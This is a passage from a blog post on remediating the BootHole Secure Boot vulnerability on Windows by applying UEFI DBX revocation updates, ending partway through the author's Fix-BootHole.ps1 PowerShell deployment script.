<p>UEFI has published a series of updates to the DBX database that deny a Secure Boot system from installing any of the vulnerable GRUB bootloaders. The hashes of these bootloaders are added a revocation list that Secure Boot checks to make sure the bootloader is not revoked. Once these DBX Updates are installed into the firmware of a system the vulnerable GRUB bootloaders can no longer be installed, thus remediating this vulnerability.</p>

<h2 id="windows-update-win10-versions-20h1">Windows Update (Win10 versions 20H1+)</h2>
<p>If you happen to be running any of the below versions of Windows, then you can install KB4535680 which allegedly updates the Secure Boot with these new DBX updates.</p>

<p>KB4535680 Applies To:</p>
<ul>
  <li>Windows Server 2012 x64-bit</li>
  <li>Windows Server 2012 R2 x64-bit</li>
  <li>Windows 8.1 x64-bit</li>
  <li>Windows Server 2016 x64-bit</li>
  <li>Windows Server 2019 x64-bit</li>
  <li>Windows 10, version 1607 x64-bit</li>
  <li>Windows 10, version 1803 x64-bit</li>
  <li>Windows 10, version 1809 x64-bit</li>
  <li>Windows 10, version 1909 x64-bit
    <blockquote>
      <p>These were taken directly from <a href="https://support.microsoft.com/en-us/topic/kb4535680-security-update-for-secure-boot-dbx-january-12-2021-f08c6b00-a850-e595-6147-d0c32ead81e2">Windows Update KB4535680: Security update for Secure Boot DBX</a></p>
    </blockquote>
  </li>
</ul>

<p>Installing the above KB should remediate the vulnerability as found by Nessus. I have not been able to use this KB, however, since I only have newer versions of Windows 10 that were being identified by Nessus as vulnerable to BootHole. I am also not sure if this KB includes the absolute latest updates from the UEFI Forum.</p>

<h2 id="manual-windows-dbx-updates">Manual Windows DBX Updates</h2>
<p>Microsoft published an article titled <a href="https://support.microsoft.com/en-us/topic/microsoft-guidance-for-applying-secure-boot-dbx-update-e3b9e4cb-a330-b3ba-a602-15083965d9ca">Microsoft guidance for applying Secure Boot DBX update</a> that provides the manual steps required to install the DBX updates. The steps are summarized below.</p>

<h3 id="obtain-the-dbx-updates">Obtain the DBX Updates</h3>
<p>Download the relevant (x64, x86, ARM) updates directly from <a href="https://uefi.org/revocationlistfile">Unified Extensible Firmware Interface Forum</a>. You will also need the older updates, which can be found in the linked archive containing <a href="https://uefi.org/revocationlistfile/archive">Prior Versions of DBX files</a> as these updates are <em>not</em> cumulative. You will be downloading a single <code class="language-plaintext highlighter-rouge">.bin</code> binary file for each round of updates.</p>

<h3 id="split-the-dbx-files">Split the DBX files</h3>
<p>To apply the updates we need to split the <code class="language-plaintext highlighter-rouge">.bin</code> files that were downloaded into two parts, a <code class="language-plaintext highlighter-rouge">.p7</code> signature file and another <code class="language-plaintext highlighter-rouge">.bin</code> binary file. This can be done via PowerShell.</p>

<p>You will need to download the <code class="language-plaintext highlighter-rouge">SplitDbxContent.ps1</code> script which was authored by Microsoft. You can get it from <a href="https://aka.ms/DbxSplitScript">the PowerShell Gallery</a>. Follow the instructions on the Gallery to obtain that file.</p>

<p>Once you have the <code class="language-plaintext highlighter-rouge">SplitDbxContent.ps1</code> script, run the following PowerShell to create the signature and contents files.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">.</span><span class="n">\SplitDbxContent.ps1</span><span class="w"> </span><span class="err">&lt;</span><span class="nx">path</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">downloaded</span><span class="w"> </span><span class="nx">dbxupdate.bin</span><span class="err">&gt;</span><span class="w">
</span></code></pre></div></div>
<blockquote>

  <p>You must run this from <code class="language-plaintext highlighter-rouge">powershell.exe</code> built into Windows, if you try to run this from <code class="language-plaintext highlighter-rouge">pwsh.exe</code> for PowerShell version 7 this script will fail due to changes in the commands in later versions of PowerShell.</p>
</blockquote>

<p>You should receive feedback showing that two new files were created, a <code class="language-plaintext highlighter-rouge">signature.p7</code> and a <code class="language-plaintext highlighter-rouge">content.bin</code>
<img src="/images/posts/2022-03-08-nessus-plugin-139239-remediating-boothole-windows/screenshot-splitdbxcontent.png" alt="" /></p>

<blockquote>
  <p>If you have multiple dbxupdates that will need to be done, save them each into a folder named after their update date, and run the <code class="language-plaintext highlighter-rouge">SplitDbxContent.ps1</code> from that folder. Otherwise the above script will overwrite the signature and content files each time you re-run it.</p>
</blockquote>

<h3 id="install-dbx-update-via-powershell">Install DBX Update via PowerShell</h3>
<p>Now that you have one or more pairs of signature and content files, you can use PowerShell to install the updates.</p>

<blockquote>
  <p>The DBX updates provided by UEFI Forum are <em>not</em> cumulative. This means that you <em>must</em> install each update individually in order to be fully protected from BootHole.</p>
</blockquote>

<p>Launch an Administrative PowerShell and enter the following to apply the updates.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Set-SecureBootUefi</span><span class="w"> </span><span class="nt">-Name</span><span class="w"> </span><span class="nx">dbx</span><span class="w"> </span><span class="nt">-ContentFilePath</span><span class="w"> </span><span class="s2">"content.bin"</span><span class="w"> </span><span class="nt">-SignedFilePath</span><span class="w"> </span><span class="s2">"signature.p7"</span><span class="w"> </span><span class="nt">-Time</span><span class="w"> </span><span class="s2">"2010-03-06T19:17:21Z"</span><span class="w"> </span><span class="nt">-AppendWrite</span><span class="w">
</span></code></pre></div></div>

<blockquote>
  <p>Make sure  you use the <code class="language-plaintext highlighter-rouge">-Time "2010-03-06T19:17:21Z"</code> as-is! Do not change this value otherwise it will not apply. Use this same timestamp for each and every update file.</p>
</blockquote>

<p>You should receive output showing the bytes as written.
<img src="/images/posts/2022-03-08-nessus-plugin-139239-remediating-boothole-windows/screenshot-setdbx.png" alt="" /></p>

<blockquote>
  <p>Microsoft advises to restart the PC before confirming the update applied, however in my experience you can check for the existance of these updates immediately after applying them. Though they may require a restart to actually take affect.</p>
</blockquote>

<h3 id="confirm-updates-applied">Confirm Updates Applied</h3>
<p>You can confirm the updates were properly applied by using <a href="https://gist.github.com/out0xb2/f8e0bae94214889a89ac67fceb37f8c0">these PowerShell scripts</a>. Download both the <code class="language-plaintext highlighter-rouge">Check-Dbx.ps1</code> and <code class="language-plaintext highlighter-rouge">Get-UEFIDatabaseSignatures.ps1</code> scripts. Run them against your <code class="language-plaintext highlighter-rouge">content.bin</code> files that were installed to confirm they exist in the UEFI firmware. Repeat for each update file that was applied.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Get-UEFIDatabaseSignatures.ps1</span><span class="w"> </span><span class="s2">"content.bin"</span><span class="w">
</span></code></pre></div></div>
<p>You should get feedback that the update was applied.
<img src="/images/posts/2022-03-08-nessus-plugin-139239-remediating-boothole-windows/screenshot-checkdbx.png" alt="" /></p>

<h2 id="all-in-one-powershell-update-script">All-in-One PowerShell Update Script</h2>
<p>I had a need to remediate BootHole on dozens of PC’s, both local and remote, and since these are running a current version of Windows 10 the KB update was not an option. I followed Microsoft’s guidance and created a PowerShell script that will apply the applicable updates to a PC remotely, and without interaction.</p>

<p>There are some other PowerShell scripts available on GitHub that perform this task, but one of my requirements was that the script be completely self-contained. On the systems I was pushing this update script to I didn’t have a reliable way to grab the dbx update files from a file share. As such, I split them ahead of time and converted them into base64 to embed them directly into the script. The script then saves these files to disk temporarily right before applying them, then deletes them afterwards.</p>

<p>If you wish to use this script in a similar fashion, with the update files embedded within, grab <a href="https://uefi.org/revocationlistfile">the latest</a> and <a href="https://uefi.org/revocationlistfile/archive">the archived</a> update files and follow the instructions above to split the <code class="language-plaintext highlighter-rouge">.bin</code> into the <code class="language-plaintext highlighter-rouge">signature.p7</code> and <code class="language-plaintext highlighter-rouge">content.bin</code> files. You can then follow the instructions below to Base64 encode these files and paste them into the script.</p>

<p><a href="https://gist.github.com/rufflabs/dccd1008f966e16d99b94a30a6bb1f9f">Fix-BootHole.ps1 script on GitHub</a></p>

<h3 id="update-script-variables">Update Script Variables</h3>
<p>If you don’t want to embed the update files directly into the script, you can optionally load them from a file share. To do so, follow the instructions previously in this article to download the dbx updates and split the <code class="language-plaintext highlighter-rouge">.bin</code> files into their respective <code class="language-plaintext highlighter-rouge">signature.p7</code> and <code class="language-plaintext highlighter-rouge">content.bin</code> files.</p>

<p>Store these files on a file share accessible to the system you will be running this script on. Next, edit the script on line 19 to set <code class="language-plaintext highlighter-rouge">$EmbeddedFiles</code> to <code class="language-plaintext highlighter-rouge">$false</code> and update the file paths on lines 24 through 59 to the signature and content files. 
<img src="/images/posts/2022-03-08-nessus-plugin-139239-remediating-boothole-windows/screenshot-updatevariables.png" alt="" /></p>

<blockquote>
  <p>If you intend to embed the files, there is no need to modify the <code class="language-plaintext highlighter-rouge">$EmbeddedFiles</code> or <code class="language-plaintext highlighter-rouge">$DbxUpdateFiles</code> variables.</p>
</blockquote>

<h3 id="converting-dbx-updates-to-base64-encoded-strings">Converting DBX Updates to Base64 Encoded Strings</h3>
<p>If you want to embed the files into the script so that it is a self-contained script, follow the steps previously in this article to download the dbx updates and to split the <code class="language-plaintext highlighter-rouge">.bin</code> files into their respective <code class="language-plaintext highlighter-rouge">signature.p7</code> and <code class="language-plaintext highlighter-rouge">content.bin</code> files.</p>

<p>With your individual signature and content files, you need to convert them into Base64 and then copy/paste the Base64 data into the appropriate variables in the script.</p>

<p>Run the following PowerShell code against each of the <code class="language-plaintext highlighter-rouge">signature.p7</code> and <code class="language-plaintext highlighter-rouge">content.bin</code> files to generate a rather large string of Base64 encoded text. Piping these to <code class="language-plaintext highlighter-rouge">clip</code> will copy the contents directly into your clipboard so that you can paste them.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="n">System.Convert</span><span class="p">]::</span><span class="n">ToBase64String</span><span class="p">((</span><span class="n">Get-Content</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="s2">".\signature.p7"</span><span class="w"> </span><span class="nt">-Encoding</span><span class="w"> </span><span class="nx">byte</span><span class="p">))</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">clip</span><span class="w">
</span><span class="p">[</span><span class="n">System.Convert</span><span class="p">]::</span><span class="nx">ToBase64String</span><span class="p">((</span><span class="n">Get-Content</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="s2">".\content.p7"</span><span class="w"> </span><span class="nt">-Encoding</span><span class="w"> </span><span class="nx">byte</span><span class="p">))</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">clip</span><span class="w">
</span></code></pre></div></div>

<p>Paste each of the signature and content Base64 code into their respective variables in the script. These are under the <code class="language-plaintext highlighter-rouge">$DbxUpdateFiles</code> variable. You only need to add in the architectures that you plan to deploy to, you can leave the others empty if you won’t need them.</p>

<p><img src="/images/posts/2022-03-08-nessus-plugin-139239-remediating-boothole-windows/screenshot-dbxupdatefiles.png" alt="" /></p>

<h3 id="running-the-script">Running the Script</h3>
<p>You can run <code class="language-plaintext highlighter-rouge">Fix-BootHole.ps1</code> after either setting the file share locations, or pasting in the embedded base64 versions of the files.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">.</span><span class="n">\Fix-BootHole.ps1</span><span class="w">
</span></code></pre></div></div>

<h3 id="fix-bootholeps1-script">Fix-BootHole.ps1 Script</h3>
<p><a href="https://gist.github.com/rufflabs/dccd1008f966e16d99b94a30a6bb1f9f">For the latest script, please see the GitHub</a></p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">&lt;#
</span><span class="cs">.SYNOPSIS</span><span class="cm">
Applies UEFI dbx updates to fix BootHole vulnerability.

</span><span class="cs">.DESCRIPTION</span><span class="cm">
Applies the UEFI dbxupdates to fix the BootHole vulnerability. Prior to running,
edit this script to choose between Embedded files or link to a file share.
See https://www.rufflabs.com/post/nessus-plugin-139239-remediating-boothole-windows/

</span><span class="cs">.EXAMPLE</span><span class="cm">
Run the script after making required modifications as mentioned in the descriptions.
PS C:\&gt;.\Fix-BootHole.ps1

#&gt;</span><span class="w">

</span><span class="c"># Set this to false if you want to load the .p7 and .bin files from a file share</span><span class="w">
</span><span class="c"># instead of having them embedded within this script as base64 encoded data.</span><span class="w">
</span><span class="c">#$EmbeddedFiles = $False</span><span class="w">
</span><span class="nv">$EmbeddedFiles</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$True</span><span class="w">

</span><span class="c"># If using a file share instead of embedding files, update these file paths to point</span><span class="w">
</span><span class="c"># to the .p7 and .bin files for each respective update. You can only specify those that</span><span class="w">
</span><span class="c"># will be used (such as, if not using arm, ignore the arm ones.)</span><span class="w">
</span><span class="nv">$DbxUpdatePaths</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
    </span><span class="s2">"x64"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
        </span><span class="s2">"April 2021"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
            </span><span class="s2">"signature"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"\\sampleserver\sampleshare\dbxupdates\april2021_x64\signature.p7"</span><span class="w">
            </span><span class="s2">"content"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"\\sampleserver\sampleshare\dbxupdates\april2021_x64\content.bin"</span><span class="w">
        </span><span class="p">}</span><span class="w">
        </span><span class="s2">"October 2020"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
            </span><span class="s2">"signature"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"\\sampleserver\sampleshare\dbxupdates\october2020_x64\signature.p7"</span><span class="w">
            </span><span class="s2">"content"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"\\sampleserver\sampleshare\dbxupdates\october2020_x64\content.bin"</span><span class="w">
        </span><span class="p">}</span><span class="w">
        </span><span class="s2">"July 2020"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
            </span><span class="s2">"signature"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"\\sampleserver\sampleshare\dbxupdates\july2020_x64\signature.p7"</span><span class="w">
            </span><span class="s2">"content"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"\\sampleserver\sampleshare\dbxupdates\july2020_x64\content.bin"</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
    </span><span class="s2">"x86"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
        </span><span class="s2">"April 2021"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
            </span><span class="s2">"signature"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"\\sampleserver\sampleshare\dbxupdates\april2021_x86\signature.p7"</span><span class="w">
            </span><span class="s2">"content"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"\\sampleserver\sampleshare\dbxupdates\april2021_x86\content.bin"</span><span class="w">
        </span><span class="p">}</span><span class="w">
        </span><span class="s2">"July 2020"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
            </span><span class="s2">"signature"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"\\sampleserver\sampleshare\dbxupdates\july2020_x86\signature.p7"</span><span class="w">
            </span><span class="s2">"content"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"\\sampleserver\sampleshare\dbxupdates\july2020_x86\content.bin"</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
    </span><span class="s2">"arm"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
        </span><span class="s2">"April 2021"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
            </span><span class="s2">"signature"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"\\sampleserver\sampleshare\dbxupdates\april2021_arm64\signature.p7"</span><span class="w">
            </span><span class="s2">"content"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"\\sampleserver\sampleshare\dbxupdates\april2021_arm64\content.bin"</span><span class="w">
        </span><span class="p">}</span><span class="w">
        </span><span class="s2">"July 2020"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
            </span><span class="s2">"signature"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"\\sampleserver\sampleshare\dbxupdates\july2020_arm64\signature.p7"</span><span class="w">
            </span><span class="s2">"content"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"\\sampleserver\sampleshare\dbxupdates\july2020_arm64\content.bin"</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="c"># Paste in Base64 encoded files below, both signature.p7 and content.bin</span><span class="w">
</span><span class="c"># for each update and architecture as needed. Any left blank will not be applied.</span><span class="w">
</span><span class="nv">$DbxUpdateFiles</span><span class="w"> </span><span class="o">=</span><span class="w">  </span><span class="p">@{</span><span class="w">
    </span><span class="s2">"x64"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
        </span><span class="s2">"April 2021"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
            </span><span class="s2">"signature"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">""</span><span class="w">
            </span><span class="s2">"content"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">""</span><span class="w">
        </span><span class="p">}</span><span class="w">
        </span><span class="s2">"October 2020"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
            </span><span class="s2">"signature"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">""</span><span class="w">
            </span><span class="s2">"content"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">""</span><span class="w">
        </span><span class="p">}</span><span class="w">
        </span><span class="s2">"July 2020"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
            </span><span class="s2">"signature"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">""</span><span class="w">
            </span><span class="s2">"content"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">""</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
    </span><span class="s2">"x86"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
        </span><span class="s2">"April 2021"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
            </span><span class="s2">"signature"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">""</span><span class="w">
            </span><span class="s2">"content"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">""</span><span class="w">
        </span><span class="p">}</span><span class="w">
        </span><span class="s2">"July 2020"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
            </span><span class="s2">"signature"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">""</span><span class="w">
            </span><span class="s2">"content"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">""</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
    </span><span class="s2">"arm"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
        </span><span class="s2">"April 2021"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
            </span><span class="s2">"signature"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">""</span><span class="w">
            </span><span class="s2">"content"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">""</span><span class="w">
        </span><span class="p">}</span><span class="w">
        </span><span class="s2">"July 2020"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
            </span><span class="s2">"signature"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">""</span><span class="w">
            </span><span class="s2">"content"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">""</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="c"># CA Check adapted from https://github.com/synackcyber/BootHole_Fix/blob/main/boothole.ps1</span><span class="w">
</span><span class="n">Write-Output</span><span class="w"> </span><span class="s2">"Checking for matching UEFI CA"</span><span class="w">
</span><span class="nv">$CAMatch</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Text.Encoding</span><span class="p">]::</span><span class="n">ASCII.GetString</span><span class="p">((</span><span class="n">Get-SecureBootUEFI</span><span class="w"> </span><span class="nx">db</span><span class="p">)</span><span class="o">.</span><span class="nf">bytes</span><span class="p">)</span><span class="w"> </span><span class="o">-match</span><span class="w"> </span><span class="s1">'Microsoft Corporation UEFI CA 2011'</span><span class="w">
</span><span class="kr">if</span><span class="p">(</span><span class="o">-not</span><span class="w"> </span><span class="nv">$CAMatch</span><span class="p">){</span><span class="w">
    </span><span class="n">Write-Output</span><span class="w"> </span><span class="s2">"Microsoft Corporation UEFI CA 2011 was not found. Updates are not required on this system."</span><span class="w">
    </span><span class="kr">exit</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="n">Write-Output</span><span class="w"> </span><span class="s2">"Certificate found, continuing."</span><span class="w">

</span><span class="c"># Check architecture</span><span class="w">
</span><span class="nv">$ArchitectureOptions</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{</span><span class="w">
    </span><span class="mi">0</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"x86"</span><span class="w">
    </span><span class="mi">1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"MIPS"</span><span class="w">
    </span><span class="mi">2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"Alpha"</span><span class="w">
    </span><span class="mi">3</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"PowerPC"</span><span class="w">
    </span><span class="mi">5</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"ARM"</span><span class="w">
    </span><span class="mi">6</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"IA64"</span><span class="w">
    </span><span class="mi">9</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"x64"</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="nv">$Architecture</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$ArchitectureOptions</span><span class="p">[[</span><span class="n">int</span><span class="p">](</span><span class="n">Get</span><span class="nt">-WmiObject</span><span class="w"> </span><span class="nt">-Class</span><span class="w"> </span><span class="n">Win32_Processor</span><span class="p">)</span><span class="o">.</span><span class="nf">Architecture</span><span class="p">]</span><span class="w">
</span><span class="nv">$SupportedArchitectures</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@(</span><span class="s2">"x86"</span><span class="p">,</span><span class="w"> </span><span class="s2">"x64"</span><span class="p">,</span><span class="w"> </span><span class="s2">"arm"</span><span class="p">)</span><span class="w">

</span><span class="kr">if</span><span class="p">(</span><span class="nv">$SupportedArchitectures</span><span class="w"> </span><span class="o">-notcontains</span><span class="w"> </span><span class="nv">$Architecture</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="n">Write-Output</span><span class="w"> </span><span class="s2">"This script does not support </span><span class="si">$(</span><span class="nv">$Architecture</span><span class="si">)</span><span class="s2"> based PC's, and no dbx updates are available for this architecture."</span><span class="w">
    </span><span class="kr">exit</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="kr">function</span><span class="w"> </span><span class="nf">Update-DbxVariable</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="kr">param</span><span class="p">(</span><span class="w">
        </span><span class="nv">$SignaturePath</span><span class="p">,</span><span class="w">
        </span><span class="nv">$ContentPath</span><span class="w">
    </span><span class="p">)</span><span class="w">
    </span><span class="n">Set-SecureBootUefi</span><span class="w"> </span><span class="nt">-Name</span><span class="w"> </span><span class="nx">dbx</span><span class="w"> </span><span class="nt">-SignedFilePath</span><span class="w"> </span><span class="nv">$SignaturePath</span><span class="w"> </span><span class="nt">-ContentFilePath</span><span class="w"> </span><span class="nv">$ContentPath</span><span class="w"> </span><span class="nt">-Time</span><span class="w"> </span><span class="s2">"2010-03-06T19:17:21Z"</span><span class="w"> </span><span class="nt">-AppendWrite</span><span class="w">
</span><span class="p">}</span><span class="w">

</span><span class="n">Write-Output</span><span class="w"> </span><span class="s2">"Updating UEFI dbx variable for </span><span class="si">$(</span><span class="nv">$Architecture</span><span class="si">)</span><span class="s2"> architecture."</span><span class="w">

</span><span class="nv">$UpdateFiles</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@{}</span><span class="w">

</span><span class="kr">if</span><span class="p">(</span><span class="nv">$EmbeddedFiles</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="c"># Use the embedded files in this script</span><span class="w">

    </span><span class="n">Write-Output</span><span class="w"> </span><span class="s2">"Using embedded update files, creating files on disk."</span><span class="w">
    </span><span class="kr">try</span><span class="w"> </span><span class="p">{</span><span class="w">
    
        </span><span class="nv">$DbxUpdateFiles</span><span class="o">.</span><span class="nv">$Architecture</span><span class="o">.</span><span class="nf">GetEnumerator</span><span class="p">()</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">ForEach-Object</span><span class="w"> </span><span class="p">{</span><span class="w">
            </span><span class="nv">$Release</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">$_</span><span class="o">.</span><span class="nf">Name</span><span class="w">
            </span><span class="nv">$Content</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">$_</span><span class="o">.</span><span class="nf">Value</span><span class="o">.</span><span class="nf">Content</span><span class="w">
            </span><span class="nv">$Signature</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">$_</span><span class="o">.</span><span class="nf">Value</span><span class="o">.</span><span class="nf">Signature</span><span class="w">
            </span><span class="nv">$TempSigFile</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"</span><span class="si">$(</span><span class="nv">$</span><span class="nn">env</span><span class="p">:</span><span class="nv">temp</span><span class="si">)</span><span class="s2">\</span><span class="si">$(</span><span class="nv">$Release</span><span class="si">)</span><span class="s2">_</span><span class="si">$(</span><span class="nv">$Architecture</span><span class="si">)</span><span class="s2">_signature.p7"</span><span class="w">
            </span><span class="nv">$TempContentFile</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"</span><span class="si">$(</span><span class="nv">$</span><span class="nn">env</span><span class="p">:</span><span class="nv">temp</span><span class="si">)</span><span class="s2">\</span><span class="si">$(</span><span class="nv">$Release</span><span class="si">)</span><span class="s2">_</span><span class="si">$(</span><span class="nv">$Architecture</span><span class="si">)</span><span class="s2">_content.bin"</span><span class="w">

            </span><span class="c"># Only copy data if signature and content are not null. </span><span class="w">
            </span><span class="kr">if</span><span class="p">(</span><span class="bp">$null</span><span class="w"> </span><span class="o">-ne</span><span class="w"> </span><span class="nv">$Signature</span><span class="w"> </span><span class="o">-and</span><span class="w"> </span><span class="bp">$null</span><span class="w"> </span><span class="o">-ne</span><span class="w"> </span><span class="nv">$Content</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
                </span><span class="nv">$UpdateFiles</span><span class="o">.</span><span class="nf">Add</span><span class="p">(</span><span class="nv">$Release</span><span class="p">,</span><span class="w"> </span><span class="p">@{</span><span class="s2">"Signature"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$TempSigFile</span><span class="p">;</span><span class="w"> </span><span class="s2">"Content"</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$TempContentFile</span><span class="p">})</span><span class="w">
                
                </span><span class="n">Set-Content</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="nv">$TempSigFile</span><span class="w"> </span><span class="nt">-Value</span><span class="w"> </span><span class="p">([</span><span class="n">System.Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$Signature</span><span class="p">))</span><span class="w"> </span><span class="nt">-Encoding</span><span class="w"> </span><span class="n">Byte</span><span class="w"> </span><span class="nt">-ErrorAction</span><span class="w"> </span><span class="nx">Stop</span><span class="w">
                </span><span class="n">Write-Output</span><span class="w"> </span><span class="s2">"Created </span><span class="si">$(</span><span class="nv">$TempSigFile</span><span class="si">)</span><span class="s2">"</span><span class="w">
                
                </span><span class="n">Set-Content</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="nv">$TempContentFile</span><span class="w"> </span><span class="nt">-Value</span><span class="w"> </span><span class="p">([</span><span class="n">System.Convert</span><span class="p">]::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="nv">$Content</span><span class="p">))</span><span class="w"> </span><span class="nt">-Encoding</span><span class="w"> </span><span class="n">Byte</span><span class="w"> </span><span class="nt">-ErrorAction</span><span class="w"> </span><span class="nx">Stop</span><span class="w">
                </span><span class="n">Write-Output</span><span class="w"> </span><span class="s2">"Created </span><span class="si">$(</span><span class="nv">$TempContentFile</span><span class="si">)</span><span class="s2">"</span><span class="w">
            </span><span class="p">}</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w"> </span><span class="kr">catch</span><span class="w"> </span><span class="p">{</span><span class="w">
